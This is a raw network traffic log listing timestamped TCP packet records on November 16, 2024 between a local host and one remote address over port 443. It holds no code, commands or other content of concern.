Nov 16, 2024 20:13:04.769129992 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.769166946 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.769222021 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.769246101 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.769246101 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.769294977 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.769340038 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.769340992 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.769360065 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.771195889 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.771238089 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.771394014 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.771576881 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.771595955 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.785052061 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.785310030 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.785434008 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.785464048 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.785473108 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.785485983 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.785490990 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.787525892 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.787612915 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.787705898 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.787821054 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.787847996 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.172070026 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.172986984 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.173051119 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.173588991 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.173645020 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.303865910 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.304088116 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.304188967 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.307598114 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.307642937 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.311486959 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.311573982 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.311760902 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.311949015 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.311988115 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.488162994 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.491204023 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.491234064 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.491437912 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.491442919 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.494745970 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.496115923 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.496145010 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.496689081 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.496695995 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.507520914 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.507894039 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.507972956 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.508495092 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.508511066 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.526424885 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.532069921 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.532130003 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.532646894 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.532661915 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.616785049 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.616936922 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.617125034 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.617295980 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.617295980 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.617312908 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.617321014 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.622107029 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.622348070 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.622432947 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.629834890 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.629844904 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.629853964 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.629858017 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.632461071 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.632565975 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.632652044 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.633040905 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.633127928 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.633148909 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.633188963 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.633275986 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.634294987 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.634330988 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.636848927 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.636996984 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.637079000 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.637222052 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.637222052 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.637264967 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.637293100 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.639049053 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.639079094 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.639158964 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.639265060 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.639290094 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.658464909 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.658618927 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.658701897 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.658838034 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.658838987 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.658858061 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.658879042 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.660356998 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.660373926 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:05.660439014 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.660542965 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:05.660554886 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.041606903 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.073282003 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.073343992 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.082021952 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.082040071 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.208170891 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.208581924 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.208662987 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.208749056 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.208749056 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.208791971 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.208825111 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.213049889 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.213090897 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.213144064 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.213527918 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.213542938 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.356549025 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.357112885 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.357144117 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.357618093 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.357625008 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.365034103 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.365495920 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.365577936 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.366058111 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.366075039 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.375600100 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.376064062 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.376074076 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.376637936 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.376643896 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.405766010 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.406279087 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.406339884 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.406800032 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.406816006 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.484745026 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.484855890 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.484916925 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.485120058 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.485157967 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.485172987 CET	49893	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.485179901 CET	443	49893	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.488209963 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.488240004 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.488329887 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.488471031 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.488486052 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.495726109 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.495990038 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.496076107 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.496156931 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.496156931 CET	49894	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.496198893 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.496227980 CET	443	49894	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.498877048 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.498914957 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.498972893 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.499093056 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.499105930 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.506679058 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.506831884 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.506905079 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.506988049 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.506994963 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.507016897 CET	49895	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.507023096 CET	443	49895	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.509532928 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.509618998 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.509777069 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.509952068 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.509980917 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.536736012 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.536886930 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.536943913 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.536981106 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.536993027 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.537003994 CET	49896	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.537008047 CET	443	49896	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.539339066 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.539375067 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.539701939 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.539701939 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.539727926 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.970047951 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.970647097 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.970664024 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:06.971337080 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:06.971340895 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.098694086 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.098875999 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.098968029 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.099276066 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.099298000 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.099308968 CET	49897	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.099319935 CET	443	49897	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.102932930 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.103020906 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.103111982 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.103262901 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.103288889 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.217876911 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.218677044 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.218693018 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.219408989 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.219413996 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.231528044 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.232059002 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.232070923 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.232553959 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.232558012 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.245584011 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.246000051 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.246023893 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.246572971 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.246586084 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.277242899 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.277712107 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.277729988 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.278165102 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.278168917 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.353682995 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.353795052 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.353861094 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.354013920 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.354024887 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.354033947 CET	49898	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.354038000 CET	443	49898	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.357460022 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.357490063 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.357563972 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.357814074 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.357824087 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.374862909 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.375046968 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.375107050 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.375140905 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.375157118 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.375168085 CET	49899	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.375171900 CET	443	49899	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.375483036 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.375770092 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.375845909 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.376035929 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.376086950 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.376116991 CET	49900	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.376132965 CET	443	49900	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.377965927 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.377990007 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.378041983 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.378155947 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.378159046 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.378168106 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.378173113 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.378226995 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.378303051 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.378312111 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.413084030 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.413238049 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.413299084 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.413336039 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.413345098 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.413355112 CET	49901	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.413358927 CET	443	49901	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.415760994 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.415781021 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.415838957 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.415977955 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.415988922 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.847450972 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.851696968 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.851775885 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.852282047 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.852297068 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.978795052 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.978930950 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.979027987 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.979249001 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.979284048 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.979310036 CET	49902	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.979340076 CET	443	49902	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.981996059 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.982026100 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:07.982120037 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.982278109 CET	49907	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:07.982292891 CET	443	49907	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.087061882 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.087907076 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.087923050 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.089214087 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.089220047 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.107055902 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.107480049 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.107500076 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.107942104 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.107945919 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.125366926 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.125875950 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.125897884 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.126317978 CET	49905	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.126322031 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.150557041 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.151011944 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.151041031 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.151473045 CET	49906	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.151477098 CET	443	49906	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.215357065 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.215446949 CET	443	49903	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.215787888 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.215787888 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.215787888 CET	49903	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.218386889 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.218420029 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.218763113 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.218763113 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.218784094 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.243067026 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.243217945 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.243285894 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.243413925 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.243442059 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.243474007 CET	49904	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.243482113 CET	443	49904	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.250592947 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.250679016 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.250766039 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.250926018 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:08.250960112 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.257317066 CET	443	49905	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:08.257473946 CET	443	49905	13.107.246.45	192.168.2.4
